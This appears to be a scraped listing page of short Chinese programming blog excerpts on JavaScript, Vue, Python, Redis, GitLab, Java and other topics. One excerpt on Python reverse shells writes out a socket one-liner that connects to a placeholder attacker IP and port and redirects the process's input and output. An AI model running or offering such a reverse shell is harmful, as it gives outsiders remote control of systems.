- ECMAScript 2019(ES2019):数组与对象操作的精细化升级
DT——
ECMAScript历史进程javascript前端
1.版本背景与发布发布时间:2019年6月,由ECMAInternational正式发布,标准编号为ECMA-26210thEdition。历史意义:作为ES6之后的第四次年度更新,ES2019聚焦于数组、对象和字符串操作的精细化改进,提升开发效率和代码可读性。时代背景:随着前端框架的成熟和Node.js的普及,开发者对数组扁平化、对象转换等高频操作的需求激增,ES2019的发布回应了这些痛点。2
- vue面试题整理1
weixin_42339193
vue.js前端javascript
一、基础概念题1、Vue响应式原理是什么?如何检测数组变化?Vue的响应式原理主要是通过使用JavaScript的对象属性访问器(getters和setters)、依赖收集(dependencytracking)以及异步更新策略来实现的。以下是其核心概念:数据劫持/代理:Vue2.x使用Object.defineProperty方法将数据对象的所有属性转换为getter/setter形式。当属性被
- paddlepaddle测试安装_python3.7中安装paddleocr及paddlepaddle包的多种方法
瓦啦
升级pippip版本必须升级到20.0.4版本才能应用;方法一、在pycharm中对pip进行升级;方法二、通过命令进行升级python3.7-mpipinstall--upgradepip下载paddleOCR下载链接:https://github.com/PaddlePaddle/PaddleOCR打开paddleOCR文件夹中requirements.txt文件,更改文件中opencv-py
- ShardingProxy-分库分表
菜逼の世界
ShardingSphereShardingSphereShardingProxy分表分库
ShardingProxy获取资源包下载地址ShardingProxy当前使用版本4.1.1安装apache-shardingsphere-4.1.1-sharding-proxy-bin.tar.gz解压即可目录说明bin:启动脚本start.bat:window启动脚本start.sh:linux启动脚本stop.sh:linux停止脚本conf:配置文件server
- 利用ShadowRoot 实现样式隔离
Helson@lin
javascriptchromedevtools
ShadowRootShadowDOMAPI的ShadowRoot接口是一个DOM子树的根节点,它与文档的主DOM树分开渲染。ShadowRoot的模式——可以是open或者closed。这定义了shadowroot的内部实现是否可被JavaScript访问及修改—也就是说ShadowRoot的特性图片来源:掘金(https://juejin.cn/post/6979489951108825095
- 基于arm的linux系统调用分析
hello_zfy
学习笔记armlinux面试
1系统调用的作用linux内核中设置了一组用于实现各种系统功能的子程序,称为系统调用,最简单的如read,write,open等等。用户可以通过系统调用命令在自己的应用程序上调用他们,从某种角度来看,系统调用和普通函数调用非常相似。区别在于系统调用由操作系统核心提供,运行在内核态,而普通函数调用由函数库或用户自己提供,运行于用户态。实际上,很多已经被我们习以为常的C语言标准函数,在linux平台上
- Python3爬虫笔记 -- urllib
Alst0n
PythonPython3urlliburllib.request
urllib库是Python内置的HTTP请求库,不需要额外安装。它包含如下4个模块:request:HTTP请求模块error:异常处理模块parse:提供URL处理方法,包括拆分、解析、合并等robotparser:识别网站等robot.txt文件1、urllib.request发送请求连接URL,获取返回页面的源代码;默认请求方式为GETimporturllib.requestrespons
- Python网络爬虫---urllib库介绍
db_hsk_2099
python爬虫开发语言
1·urllib库简介·用途:urllib库是python的标准库之一,是python内置的HTTP请求库,用于发送HTTP/FTP请求,它可以看作处理URL的组件集合。·特点:简单易用,支持HTTP、HTTPS、FTP等协议。2.urllib库包含4大模块:目录:(1)urllib.request(2)urllib.parse(3)urllib.error(4)urllib.robotparse
- [Python] -基础篇5-玩转Python内置数据结构:列表、元组、字典与集合
踏雪无痕老爷子
Pythonpython开发语言
Python是一门以简洁优雅著称的编程语言,其中内置的数据结构为日常编程提供了强大支持。本文将系统介绍Python中四大核心数据结构:列表(list)、元组(tuple)、字典(dict)与集合(set),并配以实用示例,帮助读者全面掌握其用法及适用场景。一、列表(List):可变序列的代表列表是最常用的Python数据结构之一,支持动态增删改查。1.1基本操作fruits=['apple','b
- 使用 Python 实现反弹 shell
suanfa_student
pythonchrome开发语言
使用Python实现反弹shell如果目标系统有Python环境,可以使用以下Python命令反弹shell:python-c'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的IP地址",端口号));os.dup2(s.fileno(),0);os.dup2(s.
- 文件同步·使用同步软件来管理文件(外接大脑)
让我安静会
配置与安装zotero
个人使用文件同步软件分享。管理文件/信息V1:Obsidian(信息图文:外接大脑;知识链接的形式)Zotero(文章存储:与Obsidian连接)Notion(各种文件存储:可分类、搜索、文字记录)【手机联动】坚果云(1G·小文件临时存储)【手机联动】Gitee(5G)阿里云盘(600G·比较大的文件)外接硬盘其他资源(不必存储:增加负担)管理文件/信息V2:Obsidian(信息图文:外接大脑
- 点赞功能真的有必要上 Redis 吗?(Mongo、MySQL、Redis、MQ 实测性能对比)
陈亦康
Redis深入学习经验分享面试总结redis数据库缓存
免费查看本文章可前往我的网站:PiQiu目录一、你会怎么设计一个点赞功能?1.1、点赞实现思路1.2、点赞功能设计1.2.1、MySQL单表1.2.2、单表+MySQL关联表1.2.3、MySQL关联表+mq1.2.4、redis+mq1.2.5、mongodb关联文档二、性能测试2.1、前置说明2.2、10万数据准备三、基于Mongo的几种点赞功能设计思路3.1、前置说明:点赞功能设计到的业务3
- 【记录】实用历史旧版本软件下载网站
Arvin627
服务器运维
有时我们需要软件的历史旧版本,原因包括:兼容性问题(如新版本不支持旧系统)偏好旧版功能或界面新版存在Bug,旧版更稳定官网通常不提供旧版下载。以下是两个可靠资源:OldVersion:www.oldversion.cnFileHippo:filehippo.com
- 如何在宝塔面板中配置SSL证书?
奔跑吧邓邓子
高效运维ssl服务器网络协议
提示:“奔跑吧邓邓子”的高效运维专栏聚焦于各类运维场景中的实际操作与问题解决。内容涵盖服务器硬件(如IBMSystem3650M5)、云服务平台(如腾讯云、华为云)、服务器软件(如Nginx、Apache、GitLab、Redis、Elasticsearch、Kubernetes、Docker等)、开发工具(如Git、HBuilder)以及网络安全(如挖矿病毒排查、SSL证书配置)等多个方面。无论
- 【Ruby on Rails问题】publish_name.rb文件中定义的变量显示没有定义NameError: uninitialized constant DB_CLASS
喵宁一
平时遇到的小问题rubyonrailspublish_name
在rails项目中,config/initializers/publish_name.rb文件常用来定义的全局变量、全局常量。但是我们虽然在publish_name.rb文件中定义了常量,但是还是显示没有定义。来看一下解决方法。问题描述:在publish_name.rb文件中定义了变量DB_CLASSDB_CLASS={}运行项目的时候报错NameError:uninitializedconsta
- docker安装gitlab并配置ssl证书
段帅龙呀
dockerdockergitlab容器
本篇安装环境Docker版本:Dockerversion28.3.0域名:test.disallow.cn自签证书:/etc/gitlab/ssl(已经存放在该目录)一、拉取镜像dockerrun-itd\--privileged=true\--hostnamegitlab.test.disallow.cn\--publish443:443--publish80:80--publish2222:2
- 【HarmonyOS NEXT】设备显示白屏 syswarning happended in XXX
【HarmonyOSNEXT】设备显示白屏syswarninghappendedinXXX一、问题背景:运行启动鸿蒙应用项目,设备显示白屏,IDE左下角提示syswarninghappendedinXXX设备名。点击JumptoLog提示如下:Deviceinfo:HUAWEIMate60ProBuildinfo:ALN-AL005.0.0.115(SP6C00E11)Fingerprint:15
- Python实现语音识别功能,只需3个步骤!
调用科大讯飞语音听写,使用Python实现语音识别,将实时语音转换为文字。首先在官网下载了关于语音听写的SDK,然后在文件夹内新建了两个.py文件,分别是get_audio.py和iat_demo.py,并且新建了一个存放录音的文件夹audios,文件夹内存放录音文件input.wav,我的整个文件目录如下:asr_SDK(文件名)├─Readme.html├─audios│└─input.wav
- C++基础(FreeRDP编译)
安装先安装openssl保姆级OpenSSL下载及安装教程,OpenSSL下载及安装教程-CSDN博客vcpkgintegrateinstall安装vcpkginstallzlibvcpkginstallffmpeg:x64-windows编译指令PSD:\freerdp\FreeRDP\build>cmake..-G"VisualStudio172022"-Ax64-DCMAKE_TOOLCHA
- SDL渲染一幅图像
环境配置下载源码:http://www.libsdl.org/download-2.0.php进入到SDL2-2.0.14\VisualC用visualstudio2019打开SDL.sln将工程升级到vs2019选择对的,debug|releasex64|x86进行编译生成相应的.dll、.pdb和.lib然后将对应的.dll、.pdb和.lib放到对应目录中,并配置值相应的工程目录API介绍1
- MySQL 的日志分析
jarenyVO
Mysql数据库
MySQL的日志分析MySQL的日志系统是保证数据一致性、持久性和高可用的核心组件,不同日志各司其职。以下是详细分类和解析:一、事务日志(InnoDB引擎层)1.RedoLog(重做日志)物理格式:循环写入的固定大小文件(默认ib_logfile0、ib_logfile1)核心作用:崩溃恢复:确保事务的持久性(Durability)Write-AheadLogging(WAL):数据页修改前先写r
- SpringBoot项目使用Redis作为数据缓存
sclibingqing
缓存springbootredis
一、基础配置步骤1.添加依赖在pom.xml中引入Redis和Cache依赖:org.springframework.bootspring-boot-starter-data-redisorg.springframework.bootspring-boot-starter-cache2.配置Redis连接,YAML格式配置文件中配置如下:spring:redis:host:127.0.0.1#Re
- Docker 搭建 GitLab-ssl
qq_36381626
mdgitlabdockergit
参考正确使用Docker搭建GitLab只要半分钟sudomkdir-p/home/data/gitlab/config然后在该文件目录下,新建自签名的证书:sudoopensslreq-new-x509-days36500-nodes-outconfig/nginx.pem\-keyoutconfig/nginx.key-subj"/C=US/CN=gitlab/O=gitlab.com"git
- 【LangGraph 】“工作流”的核心就是围绕一个共享的 `State`
等风来不如迎风去
AI入门与实战langgraph
是的。LangGraph里“工作流”的核心就是围绕一个共享的State(也常被命名为AgentState或者类似的TypedDict/Pydantic模型)来组织的:State本质上是整个流程的“快照”,所有跨节点需要保留或传递的数据,都必须定义在这个结构里。LangGraph在执行节点(node)时,会把当前的State传入该节点,节点内部可以读写它,然后再返回一个新的(或被修改过的)State
- Redis 持久化之 AOF 策略
1.什么是AOFAOF是appendonlyfile,AOF文件中记录了每次的操作指令,在启动Redis时,会将AOF文件中的数据读取出来以恢复数据。2.开启AOFRedis默认关闭AOF,可以通过将Redis配置文件中的appendonly设置为yes,这样就开启了AOF,此时RDB就会关闭,只能使用AOF和RDB中的一个。3.AOF的工作流程用户执行指令后,会将该指令写入到AOF缓冲区(aof
- 鸿蒙OpenHarmony【slot插槽】自定义组件
我爱一条柴ya
鸿蒙开发日记harmonyos鸿蒙鸿蒙系统开发语言
默认插槽自定义组件中通过slot标签来承载父组件中定义的内容,使用slot标签可以更加灵活的控制自定义组件的内容元素,使用方式如下:下面使用父组件定义的内容引用该自定义组件方式如下:父组件中定义的内容具名插槽当自定义组件中需要使用多个插槽时,可通过对插槽命名的方式进行区分,当填充插槽内容时,通过声明插槽名称,将内容加到对应的插槽中。下面使用父组件定义的内容引用该自定义组件方式如下:插入第二个插槽中
- Java用CompareTo方法实现根据两个或多个属性对对象进行排序
偶遇急雨洗心尘
javajvm开发语言servlet算法
CompareTo方法CompareTo是String类的方法,CompareTo(Objecto1,Objecto2),就是用o1和o2进行比较o1.compateTo(o2)大于0则o1大o1.compateTo(o2)小于0则o2大o1.compateTo(o2)等于0则一样大升序降序升序:publicstaticvoidmain(String[]args){ArrayListlist=ne
- Linux C 目录基本操作
basketball616
LinuxC编程c语言算法开发语言
需要引用的头文件#includeunistd.h为程序提供了对POSIX操作系统API的访问接口,主要用于提供与系统调用相关的功能。char*getcwd(char*buf,size_tsize);用于获取当前工作目录(CurrentWorkingDirectory)的绝对路径。参数buf:指向存放当放当前目录的数组size:数组的大小返回值成功:返回包含当前工作目录的字符串。如果buf不为NUL
- GDB调试程序:使用方法和编程技巧
程序员拓荒
编程
在软件开发过程中,调试是一个至关重要的环节。GDB(GNU调试器)是一个功能强大的调试工具,可以帮助开发人员诊断和修复程序中的错误。本文将介绍GDB的基本用法和一些编程技巧,并提供一些示例源代码供参考。什么是GDB?GDB是一个用于调试程序的命令行工具。它可以帮助开发人员在程序执行过程中定位错误、追踪程序状态以及查看变量的值。GDB支持多种编程语言,包括C、C++、Objective-C、Fort
- 本地文件自动提交到仓库
从未、淡定
gitee服务端前端
背景将本地目录做一个存储仓库,将归档的文件放入其中。自动同步到远程仓库。仓库配置省略配置密钥用户可以gitpull\gitpush\gitcommit自动拉取、更新脚本文件名:autosave.sh#!/bin/zsh#设置变量LOCAL_DIR=$1#进入工作目录cd"$LOCAL_DIR"||{echo"无法进入目录$LOCAL_DIR";exit1;}#拉取代码pvsh(){gitrev-p
- ASM系列四 利用Method 组件动态注入方法逻辑
lijingyao8206
字节码技术jvmAOP动态代理ASM
这篇继续结合例子来深入了解下Method组件动态变更方法字节码的实现。通过前面一篇,知道ClassVisitor 的visitMethod()方法可以返回一个MethodVisitor的实例。那么我们也基本可以知道,同ClassVisitor改变类成员一样,MethodVIsistor如果需要改变方法成员,注入逻辑,也可以
- java编程思想 --内部类
百合不是茶
java内部类匿名内部类
内部类;了解外部类 并能与之通信 内部类写出来的代码更加整洁与优雅
1,内部类的创建 内部类是创建在类中的
package com.wj.InsideClass;
/*
* 内部类的创建
*/
public class CreateInsideClass {
public CreateInsideClass(
- web.xml报错
crabdave
web.xml
web.xml报错
The content of element type "web-app" must match "(icon?,display-
name?,description?,distributable?,context-param*,filter*,filter-mapping*,listener*,servlet*,s
- 泛型类的自定义
麦田的设计者
javaandroid泛型
为什么要定义泛型类,当类中要操作的引用数据类型不确定的时候。
采用泛型类,完成扩展。
例如有一个学生类
Student{
Student(){
System.out.println("I'm a student.....");
}
}
有一个老师类
- CSS清除浮动的4中方法
IT独行者
JavaScriptUIcss
清除浮动这个问题,做前端的应该再熟悉不过了,咱是个新人,所以还是记个笔记,做个积累,努力学习向大神靠近。CSS清除浮动的方法网上一搜,大概有N多种,用过几种,说下个人感受。
1、结尾处加空div标签 clear:both 1 2 3 4
.div
1
{
background
:
#000080
;
border
:
1px
s
- Cygwin使用windows的jdk 配置方法
_wy_
jdkwindowscygwin
1.[vim /etc/profile]
JAVA_HOME="/cgydrive/d/Java/jdk1.6.0_43" (windows下jdk路径为D:\Java\jdk1.6.0_43)
PATH="$JAVA_HOME/bin:${PATH}"
CLAS
- linux下安装maven
无量
mavenlinux安装
Linux下安装maven(转) 1.首先到Maven官网
下载安装文件,目前最新版本为3.0.3,下载文件为
apache-maven-3.0.3-bin.tar.gz,下载可以使用wget命令;
2.进入下载文件夹,找到下载的文件,运行如下命令解压
tar -xvf apache-maven-2.2.1-bin.tar.gz
解压后的文件夹
- tomcat的https 配置,syslog-ng配置
aichenglong
tomcathttp跳转到httpssyslong-ng配置syslog配置
1) tomcat配置https,以及http自动跳转到https的配置
1)TOMCAT_HOME目录下生成密钥(keytool是jdk中的命令)
keytool -genkey -alias tomcat -keyalg RSA -keypass changeit -storepass changeit
- 关于领号活动总结
alafqq
活动
关于某彩票活动的总结
具体需求,每个用户进活动页面,领取一个号码,1000中的一个;
活动要求
1,随机性,一定要有随机性;
2,最少中奖概率,如果注数为3200注,则最多中4注
3,效率问题,(不能每个人来都产生一个随机数,这样效率不高);
4,支持断电(仍然从下一个开始),重启服务;(存数据库有点大材小用,因此不能存放在数据库)
解决方案
1,事先产生随机数1000个,并打
- java数据结构 冒泡排序的遍历与排序
百合不是茶
java
java的冒泡排序是一种简单的排序规则
冒泡排序的原理:
比较两个相邻的数,首先将最大的排在第一个,第二次比较第二个 ,此后一样;
针对所有的元素重复以上的步骤,除了最后一个
例题;将int array[]
- JS检查输入框输入的是否是数字的一种校验方法
bijian1013
js
如下是JS检查输入框输入的是否是数字的一种校验方法:
<form method=post target="_blank">
数字:<input type="text" name=num onkeypress="checkNum(this.form)"><br>
</form>
- Test注解的两个属性:expected和timeout
bijian1013
javaJUnitexpectedtimeout
JUnit4:Test文档中的解释:
The Test annotation supports two optional parameters.
The first, expected, declares that a test method should throw an exception.
If it doesn't throw an exception or if it
- [Gson二]继承关系的POJO的反序列化
bit1129
POJO
父类
package inheritance.test2;
import java.util.Map;
public class Model {
private String field1;
private String field2;
private Map<String, String> infoMap
- 【Spark八十四】Spark零碎知识点记录
bit1129
spark
1. ShuffleMapTask的shuffle数据在什么地方记录到MapOutputTracker中的
ShuffleMapTask的runTask方法负责写数据到shuffle map文件中。当任务执行完成成功,DAGScheduler会收到通知,在DAGScheduler的handleTaskCompletion方法中完成记录到MapOutputTracker中
- WAS各种脚本作用大全
ronin47
WAS 脚本
http://www.ibm.com/developerworks/cn/websphere/library/samples/SampleScripts.html
无意中,在WAS官网上发现的各种脚本作用,感觉很有作用,先与各位分享一下
获取下载
这些示例 jacl 和 Jython 脚本可用于在 WebSphere Application Server 的不同版本中自
- java-12.求 1+2+3+..n不能使用乘除法、 for 、 while 、 if 、 else 、 switch 、 case 等关键字以及条件判断语句
bylijinnan
switch
借鉴网上的思路,用java实现:
public class NoIfWhile {
/**
* @param args
*
* find x=1+2+3+....n
*/
public static void main(String[] args) {
int n=10;
int re=find(n);
System.o
- Netty源码学习-ObjectEncoder和ObjectDecoder
bylijinnan
javanetty
Netty中传递对象的思路很直观:
Netty中数据的传递是基于ChannelBuffer(也就是byte[]);
那把对象序列化为字节流,就可以在Netty中传递对象了
相应的从ChannelBuffer恢复对象,就是反序列化的过程
Netty已经封装好ObjectEncoder和ObjectDecoder
先看ObjectEncoder
ObjectEncoder是往外发送
- spring 定时任务中cronExpression表达式含义
chicony
cronExpression
一个cron表达式有6个必选的元素和一个可选的元素,各个元素之间是以空格分隔的,从左至右,这些元素的含义如下表所示:
代表含义 是否必须 允许的取值范围 &nb
- Nutz配置Jndi
ctrain
JNDI
1、使用JNDI获取指定资源:
var ioc = {
dao : {
type :"org.nutz.dao.impl.NutDao",
args : [ {jndi :"jdbc/dataSource"} ]
}
}
以上方法,仅需要在容器中配置好数据源,注入到NutDao即可.
- 解决 /bin/sh^M: bad interpreter: No such file or directory
daizj
shell
在Linux中执行.sh脚本,异常/bin/sh^M: bad interpreter: No such file or directory。
分析:这是不同系统编码格式引起的:在windows系统中编辑的.sh文件可能有不可见字符,所以在Linux系统下执行会报以上异常信息。
解决:
1)在windows下转换:
利用一些编辑器如UltraEdit或EditPlus等工具
- [转]for 循环为何可恨?
dcj3sjt126com
程序员读书
Java的闭包(Closure)特征最近成为了一个热门话题。 一些精英正在起草一份议案,要在Java将来的版本中加入闭包特征。 然而,提议中的闭包语法以及语言上的这种扩充受到了众多Java程序员的猛烈抨击。
不久前,出版过数十本编程书籍的大作家Elliotte Rusty Harold发表了对Java中闭包的价值的质疑。 尤其是他问道“for 循环为何可恨?”[http://ju
- Android实用小技巧
dcj3sjt126com
android
1、去掉所有Activity界面的标题栏
修改AndroidManifest.xml 在application 标签中添加android:theme="@android:style/Theme.NoTitleBar"
2、去掉所有Activity界面的TitleBar 和StatusBar
修改AndroidManifes
- Oracle 复习笔记之序列
eksliang
Oracle 序列sequenceOracle sequence
转载请出自出处:http://eksliang.iteye.com/blog/2098859
1.序列的作用
序列是用于生成唯一、连续序号的对象
一般用序列来充当数据库表的主键值
2.创建序列语法如下:
create sequence s_emp
start with 1 --开始值
increment by 1 --増长值
maxval
- 有“品”的程序员
gongmeitao
工作
完美程序员的10种品质
完美程序员的每种品质都有一个范围,这个范围取决于具体的问题和背景。没有能解决所有问题的
完美程序员(至少在我们这个星球上),并且对于特定问题,完美程序员应该具有以下品质:
1. 才智非凡- 能够理解问题、能够用清晰可读的代码翻译并表达想法、善于分析并且逻辑思维能力强
(范围:用简单方式解决复杂问题)
- 使用KeleyiSQLHelper类进行分页查询
hvt
sql.netC#asp.nethovertree
本文适用于sql server单主键表或者视图进行分页查询,支持多字段排序。KeleyiSQLHelper类的最新代码请到http://hovertree.codeplex.com/SourceControl/latest下载整个解决方案源代码查看。或者直接在线查看类的代码:http://hovertree.codeplex.com/SourceControl/latest#HoverTree.D
- SVG 教程 (三)圆形,椭圆,直线
天梯梦
svg
SVG <circle> SVG 圆形 - <circle>
<circle> 标签可用来创建一个圆:
下面是SVG代码:
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle cx="100" c
- 链表栈
luyulong
java数据结构
public class Node {
private Object object;
private Node next;
public Node() {
this.next = null;
this.object = null;
}
public Object getObject() {
return object;
}
public
- 基础数据结构和算法十:2-3 search tree
sunwinner
Algorithm2-3 search tree
Binary search tree works well for a wide variety of applications, but they have poor worst-case performance. Now we introduce a type of binary search tree where costs are guaranteed to be loga
- spring配置定时任务
stunizhengjia
springtimer
最近因工作的需要,用到了spring的定时任务的功能,觉得spring还是很智能化的,只需要配置一下配置文件就可以了,在此记录一下,以便以后用到:
//------------------------定时任务调用的方法------------------------------
/**
* 存储过程定时器
*/
publi
- ITeye 8月技术图书有奖试读获奖名单公布
ITeye管理员
活动
ITeye携手博文视点举办的8月技术图书有奖试读活动已圆满结束,非常感谢广大用户对本次活动的关注与参与。
8月试读活动回顾:
http://webmaster.iteye.com/blog/2102830
本次技术图书试读活动的优秀奖获奖名单及相应作品如下(优秀文章有很多,但名额有限,没获奖并不代表不优秀):
《跨终端Web》
gleams:http